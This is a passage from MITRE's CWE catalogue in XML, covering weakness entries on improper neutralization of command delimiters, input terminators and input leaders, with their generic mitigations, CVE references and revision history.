							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Embedded Delimiters", Page
						408.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Section Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Section
						Delimiter</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Section
						Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="146" Name="Improper Neutralization of Expression/Command Delimiters" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as expression or command delimiters when they are sent to a
					downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>140</Relationship_Target_ID>
					          <!--Improper Neutralization of Delimiters-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>A shell metacharacter (covered in CWE-150) is one example of a potential
						delimiter that may need to be neutralized.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that inter-expression and inter-command
							delimiters will be injected/removed/manipulated in the input vectors of
							their software system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "Embedded Delimiters", Page
						408.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Delimiter between Expressions or Commands</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Delimiter between Expressions
						or Commands</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize
						Expression/Command Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="147" Name="Improper Neutralization of Input Terminators" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as input terminators when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>For example, a "." in SMTP signifies the end of mail message data, whereas
						a null character can be used for the end of a string.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that terminators will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0319</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. mail server does not properly identify
						terminator string to signify end of message, causing corruption, possibly in
						conjunction with off-by-one error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0320</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. mail server does not properly identify
						terminator string to signify end of message, causing corruption, possibly in
						conjunction with off-by-one error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0996</Observed_Example_Reference>
					          <Observed_Example_Description>Mail server does not quote end-of-input terminator
						if it appears in the middle of a message.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0001</Observed_Example_Reference>
					          <Observed_Example_Description>Improperly terminated comment or phrase allows
						commands.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Input Terminator</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>460</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Input
						Terminator</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Input
						Terminator</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize Input
						Terminators</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Input Terminators</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="148" Name="Improper Neutralization of Input Leaders" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application does not properly handle when a leading
					character or sequence ("leader") is missing or malformed, or if multiple leaders
					are used when only one should be allowed.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that leading characters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Input Leader</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Input
						Leader</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Input
						Leader</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize Input
						Leaders</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
